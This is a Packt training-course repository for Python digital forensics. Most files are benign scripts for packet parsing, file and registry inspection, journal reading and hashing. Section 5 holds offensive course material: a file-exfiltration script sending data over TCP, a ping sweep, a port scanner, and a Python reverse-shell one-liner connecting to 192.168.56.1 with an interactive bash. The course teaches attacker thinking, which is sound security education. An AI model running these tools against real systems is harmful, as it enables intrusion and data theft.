├── LICENSE
├── README.md
├── Section 1
├── impacket_demo.py
└── scapy_demo.py
├── Section 2
├── directory_scan.py
├── file_properties.py
└── registry.py
├── Section 3
├── access_journal.py
├── hash.py
├── parse_journal.py
├── recurs_file.py
└── recursive_dir_scan.py
└── Section 5
├── exfiltrate.py
├── ping_sweep.py
├── port_scanner.py
└── reverse_shell.py
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2018 Packt
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | # Python Digital Forensics [Video]
5 | This is the code repository for [Python Digital Forensics [Video]](https://www.packtpub.com/web-development/python-digital-forensics-video?utm_source=github&utm_medium=repository&utm_campaign=9781787126664), published by [Packt](https://www.packtpub.com/?utm_source=github). It contains all the supporting project files necessary to work through the video course from start to finish.
6 | ## About the Video Course
7 | Python is uniquely positioned as a programming language to perform cyber investigations and perform forensics analysis. Unleash the power of Python by using popular libraries and Python tools to help you create efficient and thorough forensics investigations. This course will walk you through digital forensics on network traffic, host analysis, and memory analysis.
8 |
9 | The course starts with network forensics, an important aspect of any investigation. You will learn to read, sort, and sniff raw packets and also analyze network traffic. These techniques will help you drive your host analysis. You will learn about tools you'll need to perform a complete investigation with the utmost efficiency in both Windows and GNU/Linux environments with Python. Next, you will learn more advanced topics such as viewing data in PE and ELF binaries. It's vital to analyze volatile memory during an investigation as it provides details about what is actually running on a given system. So, you will learn the best tools to obtain and analyze volatile memory images. Finally, you will learn how to use Python in order to think like an attacker. You will complete enumeration, exploitation, and data exfiltration.
10 |
11 | By the end of the course, you will be able to make the most of Python processes and tackle varied, challenging, forensics-related problems. So, grab this course and think like an attacker!
12 |
13 |
What You Will Learn
14 |
15 |
16 | - Think like an attacker and solve forensics issues with more efficiently
17 |
- Learn network forensics to drive your host analysis
18 |
- Investigate with the utmost efficiency in Windows and GNU/Linux environments
19 |
- Learn advanced data-viewing topics in file analysis
20 |
- Get the best tools to obtain and analyze volatile memory images
21 |
- Use Python to complete enumeration, exploitation, and data exfiltration
22 |
23 | ## Instructions and Navigation
24 | ### Assumed Knowledge
25 | To fully benefit from the coverage included in this course, you will need:
26 | Prior programming experience is beneficial but not required.
27 | ### Technical Requirements
28 | This course has the following software requirements:
29 | A system with Python IDE installed.
30 |
31 | ## Related Products
32 | * [Python for the .NET Developer [Video]](https://www.packtpub.com/application-development/python-net-developer-video?utm_source=github&utm_medium=repository&utm_campaign=9781789807615)
33 |
34 | * [Reactive Programming in Python [Video]](https://www.packtpub.com/application-development/reactive-programming-python-video?utm_source=github&utm_medium=repository&utm_campaign=9781786460332)
35 |
36 | * [Hands-on Supervised Machine Learning with Python [Video]](https://www.packtpub.com/big-data-and-business-intelligence/hands-supervised-machine-learning-python-video?utm_source=github&utm_medium=repository&utm_campaign=9781789347654)
37 |
38 |
--------------------------------------------------------------------------------
/Section 1/impacket_demo.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2.7
2 |
3 | import sys
4 | from pcapy import open_offline, open_live
5 | from impacket.ImpactDecoder import EthDecoder
6 |
7 |
8 | class ImpacketDemo(object):
9 | def __init__(self):
10 | super(ImpacketDemo, self).__init__()
11 | pass
12 |
13 | def read_packet(self, hdr, data):
14 | decoder = EthDecoder()
15 | ether = decoder.decode(data)
16 | ip = ether.child()
17 | tcp = ip.child()
18 |
19 | try:
20 | print ip.get_ip_src()
21 | print tcp.get_th_sport()
22 | print ip.get_ip_dst()
23 | print tcp.get_th_dport()
24 |
25 | except:
26 | print "error"
27 |
28 | def main(self, pcap_file):
29 | pcap = open_offline(pcap_file)
30 | pcap.loop(0, self.read_packet)
31 |
32 |
33 | if __name__ == '__main__':
34 | if len(sys.argv) <= 1:
35 | sys.exit("Usage: %s " % sys.argv[0])
36 |
37 | demo = ImpacketDemo()
38 | demo.main(sys.argv[1])
39 |
--------------------------------------------------------------------------------
/Section 1/scapy_demo.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 |
4 | import sys
5 | from scapy.all import *
6 |
7 |
8 | class scapy_demo(object):
9 | """docstring for scapy_demo"""
10 |
11 | def __init__(self):
12 | super(scapy_demo, self).__init__()
13 | pass
14 |
15 | def main(self, pcap_file):
16 | pcap = rdpcap(pcap_file)
17 | print(pcap.sessions())
18 |
19 |
20 | if __name__ == '__main__':
21 | if len(sys.argv) <= 1:
22 | sys.exit("Feed me pcap!!! python3 scapy_demo ")
23 |
24 | scapy_demo = scapy_demo()
25 | scapy_demo.main(sys.argv[1])
26 |
--------------------------------------------------------------------------------
/Section 2/directory_scan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import os
4 | import argparse
5 |
6 |
7 | class DirectoryWalk:
8 | def __init__(self):
9 | """Here we set the global defaults"""
10 | self.path = ''
11 |
12 | @staticmethod
13 | def get_args():
14 | parser = argparse.ArgumentParser(description="Scan all magic files")
15 | parser.add_argument("path", help="Path to folder")
16 |
17 | return parser.parse_args()
18 |
19 | def scan_path(self):
20 | with os.scandir(self.path) as iter_path:
21 | for entry in iter_path:
22 | print(entry.name)
23 |
24 | def main(self):
25 | args = self.get_args()
26 | self.path = args.path
27 |
28 | self.scan_path()
29 |
30 |
31 | if __name__ == '__main__':
32 | walk_instance = DirectoryWalk()
33 | walk_instance.main()
34 |
--------------------------------------------------------------------------------
/Section 2/file_properties.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import os
4 | import argparse
5 | from datetime import date
6 | import stat
7 |
8 |
9 | class FileScan:
10 | def __init__(self):
11 | self.path = ''
12 |
13 | @staticmethod
14 | def get_args():
15 | """Take a look at those args."""
16 | parser = argparse.ArgumentParser(description='Utility designed to \
17 | scan all files in a path')
18 | parser.add_argument("path", help="Path to file you want to scan")
19 |
20 | return parser.parse_args()
21 |
22 | def scan_file(self):
23 | file_info = os.stat(self.path)
24 | print("Perms")
25 | print(stat.filemode(file_info.st_mode))
26 | print("Timestamps")
27 | print("Access {0}".format(date.fromtimestamp(file_info.st_atime)))
28 | print("Modify {}".format(date.fromtimestamp(file_info.st_mtime)))
29 | print("Create {}".format(date.fromtimestamp(file_info.st_ctime)))
30 |
31 | def main(self):
32 | args = self.get_args()
33 | self.path = args.path
34 |
35 | self.scan_file()
36 |
37 |
38 | if __name__ == '__main__':
39 | file_instance = FileScan()
40 | file_instance.main()
41 |
--------------------------------------------------------------------------------
/Section 2/registry.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | # SOFTWARE\Microsoft\Windows\CurrentVersion\Run
4 | # Wow6432Node\Microsoft\Windows\CurrentVersion\Run
5 | # Microsoft\Windows NT\CurrentVersion\Winlogon\System
6 |
7 | # HKEY_LOCAL_MACHINE
8 |
9 | import winreg
10 | import argparse
11 |
12 |
13 | class RegDemo:
14 | def __init__(self):
15 | pass
16 |
17 | @staticmethod
18 | def get_args():
19 | """Take a++ look at those args."""
20 | parser = argparse.ArgumentParser(description='Query the registry')
21 | parser.add_argument("-e", "--enum", help="Enumerate all keys")
22 | parser.add_argument("-ev", "--enum-val", help="Enumerate all values")
23 | parser.add_argument("-q", "--query", nargs=2, help="Query registry value")
24 |
25 | return parser.parse_args()
26 |
27 | def enum(self, hive, reg_path):
28 | try:
29 | registry_key = winreg.OpenKey(
30 | hive, reg_path, 0, winreg.KEY_READ)
31 | i = 0
32 | while True:
33 | value = winreg.EnumKey(registry_key, i)
34 | print(value)
35 | i += 1
36 | except WindowsError as e:
37 | print("Error Loading key\n{}".format(e))
38 |
39 | finally:
40 | winreg.CloseKey(registry_key)
41 |
42 | def enum_val(self, hive, reg_path):
43 | try:
44 | registry_key = winreg.OpenKey(
45 | hive, reg_path, 0, winreg.KEY_READ)
46 | i = 0
47 | while True:
48 | value = winreg.EnumValue(registry_key, i)
49 | print(value)
50 | i += 1
51 | except WindowsError as e:
52 | print("Error Loading key\n{}".format(e))
53 |
54 | finally:
55 | winreg.CloseKey(registry_key)
56 |
57 | def query(self, hive, reg_path, value_name):
58 | try:
59 | registry_key = winreg.OpenKey(
60 | hive, reg_path, 0, winreg.KEY_READ)
61 |
62 | value = winreg.QueryValueEx(registry_key, value_name)[1]
63 | print(value)
64 |
65 | except WindowsError as e:
66 | print("Error Loading key\n{}".format(e))
67 |
68 | finally:
69 | winreg.CloseKey(registry_key)
70 |
71 | def main(self):
72 | args = self.get_args()
73 | hive = winreg.HKEY_CURRENT_USER
74 |
75 | if args.enum:
76 | self.enum(hive, args.enum)
77 | if args.enum:
78 | self.enum_val(hive, args.enum_val)
79 | if args.query:
80 | self.query(hive, args.query[0], args.query[1])
81 |
82 |
83 | if __name__ == '__main__':
84 | reg_instance = RegDemo()
85 | reg_instance.main()
86 |
--------------------------------------------------------------------------------
/Section 3/access_journal.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 |
4 | from systemd import journal
5 |
6 |
7 | class LogParse:
8 | def __init__(self):
9 | self.j = journal
10 |
11 | def main(self):
12 | self.j.send("Hello World! Again!")
13 | self.j.send('Hello, again, world', FIELD2='Greetings!', FIELD3='Guten tag')
14 | self.j.send('Binary message', BINARY=b'\xde\xad\xbe\xef')
15 |
16 |
17 |
18 | if __name__ == '__main__':
19 | log_instance = LogParse()
20 | log_instance.main()
21 |
--------------------------------------------------------------------------------
/Section 3/hash.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 |
4 | import os
5 | import argparse
6 | from termcolor import cprint
7 | import hashlib
8 |
9 |
10 | class HashFile:
11 | def __init__(self):
12 | self.path = None
13 |
14 | @staticmethod
15 | def get_args():
16 | parser = argparse.ArgumentParser(description="Scan all magic files")
17 | parser.add_argument("path", help="Path to top level directory")
18 | parser.add_argument("-c", "--compare", help="Provide a hash or hash" +
19 | "file to compare")
20 |
21 | return parser.parse_args()
22 |
23 | def open_hash(self, hash_path):
24 | hash = hash_path
25 | if os.path.isfile(hash_path):
26 | with open(hash_path, 'r') as f:
27 | hash = f.read().splitlines()[0]
28 |
29 | return hash
30 |
31 | def compare_hash(self, old, new):
32 | if old == new:
33 | cprint("> Computation complete {}".format(old), 'green')
34 | else:
35 | cprint("> DIGEST MISMATCH\nold {0}\nnew {1}".format(
36 | old, new), 'red')
37 |
38 | def hash_file(self, file):
39 | BUFF_SIZE = 65536
40 | digest = hashlib.sha1()
41 |
42 | cprint("> Computing message digest of image", 'blue')
43 | with open(file, 'rb') as f:
44 | while True:
45 | data = f.read(BUFF_SIZE)
46 | if not data:
47 | break
48 | digest.update(data)
49 | hash = digest.hexdigest()
50 |
51 | return hash
52 |
53 | def main(self):
54 | args = self.get_args()
55 | self.path = args.path
56 |
57 | hash = self.hash_file(self.path)
58 |
59 | if args.compare:
60 | old_hash = self.open_hash(args.compare)
61 | self.compare_hash(old_hash, hash)
62 | else:
63 | cprint("> Computation Complete \n{}".format(hash), 'green')
64 |
65 |
66 | if __name__ == '__main__':
67 | hash_instance = HashFile()
68 | hash_instance.main()
69 |
--------------------------------------------------------------------------------
/Section 3/parse_journal.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | # https://github.com/systemd/python-systemd
4 |
5 | from systemd import journal
6 |
7 |
8 | class LogParse:
9 | def __init__(self):
10 | self.journal_reader = journal.Reader()
11 |
12 | def main(self):
13 | self.journal_reader.this_boot()
14 | for event in self.journal_reader:
15 | if event['MESSAGE'] == "Hello World! Again!":
16 | print(event['MESSAGE'])
17 |
18 |
19 | if __name__ == '__main__':
20 | log_instance = LogParse()
21 | log_instance.main()
22 |
--------------------------------------------------------------------------------
/Section 3/recurs_file.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | # https://eli.thegreenplace.net/2011/12/27/python-threads-communication-and-stopping
4 |
5 | import os
6 | import argparse
7 | import threading
8 | import queue
9 |
10 |
11 | class RecursiveProbe(threading.Thread):
12 | def __init__(self, dir_q, result_q):
13 | super(RecursiveProbe, self).__init__()
14 | self.dir_q = dir_q
15 | self.result_q = result_q
16 | self.stoprequest = threading.Event()
17 |
18 | def run(self):
19 | while not self.stoprequest.isSet():
20 | try:
21 | dirname = self.dir_q.get(True, 0.05)
22 | filenames = list(self._files_in_dir(dirname))
23 | self.result_q.put((self.name, dirname, filenames))
24 |
25 | except queue.Empty:
26 | continue
27 |
28 | def join(self, timeout=None):
29 | self.stoprequest.set()
30 | super(RecursiveProbe, self).join(timeout)
31 |
32 | def _files_in_dir(self, dirname):
33 | """ Given a directory name, yields the names of all files (not dirs)
34 | contained in this directory and its sub-directories.
35 | """
36 | for path, dirs, files in os.walk(dirname):
37 | for file in files:
38 | # Gives full file path
39 | file_info = os.stat(path + '/' + file)
40 | if oct(file_info.st_mode) == '0o100777':
41 | yield os.path.join(path, file)
42 |
43 |
44 | class DirectoryWalk:
45 | def __init__(self):
46 | self.path = '.'
47 |
48 | @staticmethod
49 | def get_args():
50 | parser = argparse.ArgumentParser(description="Scan all magic files")
51 | parser.add_argument("path", help="Path to top level directory")
52 |
53 | return parser.parse_args()
54 |
55 | def main(self):
56 | args = self.get_args()
57 | self.path = args.path
58 |
59 | # Create a single input and a single output queue for all threads.
60 | dir_q = queue.Queue()
61 | result_q = queue.Queue()
62 |
63 | # Create the "thread pool"
64 | pool = [RecursiveProbe(
65 | dir_q=dir_q, result_q=result_q) for i in range(4)]
66 |
67 | # Start all threads
68 | for thread in pool:
69 | thread.start()
70 |
71 | # Give the workers some work to do
72 | if os.path.exists(self.path):
73 | dir_q.put(self.path)
74 |
75 | # Now get all the results
76 | work_count = 1
77 | while work_count > 0:
78 | # Blocking 'get' from a Queue.
79 | result = result_q.get()
80 | print(result)
81 | print('From thread {0}: {1} files found in dir {2}'.format(
82 | result[0], len(result[2]), result[1]))
83 |
84 | work_count -= 1
85 |
86 | # Ask threads to die and wait for them to do it
87 | for thread in pool:
88 | thread.join()
89 |
90 |
91 | if __name__ == '__main__':
92 | walk_instance = DirectoryWalk()
93 | walk_instance.main()
94 |
--------------------------------------------------------------------------------
/Section 3/recursive_dir_scan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | # https://eli.thegreenplace.net/2011/12/27/python-threads-communication-and-stopping
4 |
5 | import os
6 | import argparse
7 | import threading
8 | import queue
9 |
10 |
11 | class RecursiveProbe(threading.Thread):
12 | def __init__(self, dir_q, result_q):
13 | super(RecursiveProbe, self).__init__()
14 | self.dir_q = dir_q
15 | self.result_q = result_q
16 | self.stoprequest = threading.Event()
17 |
18 | def run(self):
19 | while not self.stoprequest.isSet():
20 | try:
21 | dirname = self.dir_q.get(True, 0.05)
22 | filenames = list(self._files_in_dir(dirname))
23 | self.result_q.put((self.name, dirname, filenames))
24 |
25 | except queue.Empty:
26 | continue
27 |
28 | def join(self, timeout=None):
29 | self.stoprequest.set()
30 | super(RecursiveProbe, self).join(timeout)
31 |
32 | def _files_in_dir(self, dirname):
33 | """ Given a directory name, yields the names of all files (not dirs)
34 | contained in this directory and its sub-directories.
35 | """
36 | for path, dirs, files in os.walk(dirname):
37 | for file in files:
38 | # Gives full file path
39 | yield os.path.join(path, file)
40 |
41 |
42 | class DirectoryWalk:
43 | def __init__(self):
44 | self.path = '.'
45 |
46 | @staticmethod
47 | def get_args():
48 | parser = argparse.ArgumentParser(description="Scan all magic files")
49 | parser.add_argument("path", help="Path to top level directory")
50 |
51 | return parser.parse_args()
52 |
53 | def main(self):
54 | args = self.get_args()
55 | self.path = args.path
56 |
57 | # Create a single input and a single output queue for all threads.
58 | dir_q = queue.Queue()
59 | result_q = queue.Queue()
60 |
61 | # Create the "thread pool"
62 | pool = [RecursiveProbe(
63 | dir_q=dir_q, result_q=result_q) for i in range(4)]
64 |
65 | # Start all threads
66 | for thread in pool:
67 | thread.start()
68 |
69 | # Give the workers some work to do
70 | if os.path.exists(self.path):
71 | dir_q.put(self.path)
72 |
73 | # Now get all the results
74 | work_count = 1
75 | while work_count > 0:
76 | # Blocking 'get' from a Queue.
77 | result = result_q.get()
78 | print(result)
79 | print('From thread {0}: {1} files found in dir {2}'.format(
80 | result[0], len(result[2]), result[1]))
81 |
82 | work_count -= 1
83 |
84 | # Ask threads to die and wait for them to do it
85 | for thread in pool:
86 | thread.join()
87 |
88 |
89 | if __name__ == '__main__':
90 | walk_instance = DirectoryWalk()
91 | walk_instance.main()
92 |
--------------------------------------------------------------------------------
/Section 5/exfiltrate.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import socket
4 | import sys
5 |
6 |
7 | class Exfil:
8 | def __init__(self):
9 | self.buffer_size = 1024
10 |
11 | def _exfil(self, ip, port, ex_file):
12 | try:
13 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14 | conn = sock.connect((ip, port))
15 |
16 | with open(ex_file, "rb") as f:
17 | file_bytes = f.read(self.buffer_size)
18 |
19 | while file_bytes:
20 | sock.send(file_bytes)
21 | file_bytes = f.read(self.buffer_size)
22 |
23 | except socket.error:
24 | sys.exit("Couldn't connect to server")
25 |
26 | finally:
27 | sock.close()
28 |
29 | def main(self):
30 | ip = sys.argv[1]
31 | port = int(sys.argv[2])
32 | file = sys.argv[3]
33 |
34 | self._exfil(ip, port, file)
35 |
36 |
37 | if __name__ == '__main__':
38 | exfil = Exfil()
39 | exfil.main()
40 |
--------------------------------------------------------------------------------
/Section 5/ping_sweep.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import subprocess
4 | import sys
5 |
6 |
7 | class Ping:
8 | def __init__(self):
9 | self.address = '192.168.56.'
10 |
11 | def main(self):
12 | for x in range(100, 102):
13 | p = subprocess.Popen(
14 | "ping -c 1 {0}{1}".format(
15 | self.address, x), shell=True, stderr=subprocess.PIPE)
16 |
17 | while True:
18 | out = p.stderr.read(1)
19 | if not out and p.poll() is not None:
20 | break
21 | if out:
22 | sys.stdout.write(out)
23 | sys.stdout.flush()
24 |
25 |
26 | if __name__ == '__main__':
27 | ping = Ping()
28 | ping.main()
29 |
--------------------------------------------------------------------------------
/Section 5/port_scanner.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import socket
4 | import sys
5 | import argparse
6 |
7 |
8 | class PortScan:
9 | def __init__(self):
10 | self.__author__ = "kd8bny@gmail.com"
11 |
12 | @staticmethod
13 | def get_args():
14 | parser = argparse.ArgumentParser(
15 | description="Scan top ports of a device")
16 | parser.add_argument("address", help="IP address")
17 | parser.add_argument(
18 | "-p", "--ports", nargs='*', help="Ports to scan " +
19 | "Supports values 1,2 or range 1-5")
20 |
21 | return parser.parse_args()
22 |
23 | def _scan(self, ip, ports):
24 | try:
25 | for port in ports:
26 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
27 | result = sock.connect_ex((ip, port))
28 | if result == 0:
29 | print("Port {}: Open".format(port))
30 |
31 | except KeyboardInterrupt:
32 | sys.exit("Scan terminated")
33 |
34 | except socket.error:
35 | sys.exit("Couldn't connect to server")
36 |
37 | finally:
38 | sock.close()
39 |
40 | def main(self):
41 | args = self.get_args()
42 |
43 | ports = list()
44 | if not args.ports:
45 | ports = range(1, 1025)
46 | else:
47 | for entry in args.ports:
48 | if '-' in entry:
49 | values = [int(x) for x in entry.split('-')]
50 | [ports.append(x) for x in range(values[0], values[1] + 1)]
51 | else:
52 | ports.append(int(entry))
53 |
54 | self._scan(args.address, ports)
55 |
56 |
57 | if __name__ == '__main__':
58 | port_scan = PortScan()
59 | port_scan.main()
60 |
--------------------------------------------------------------------------------
/Section 5/reverse_shell.py:
--------------------------------------------------------------------------------
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
--------------------------------------------------------------------------------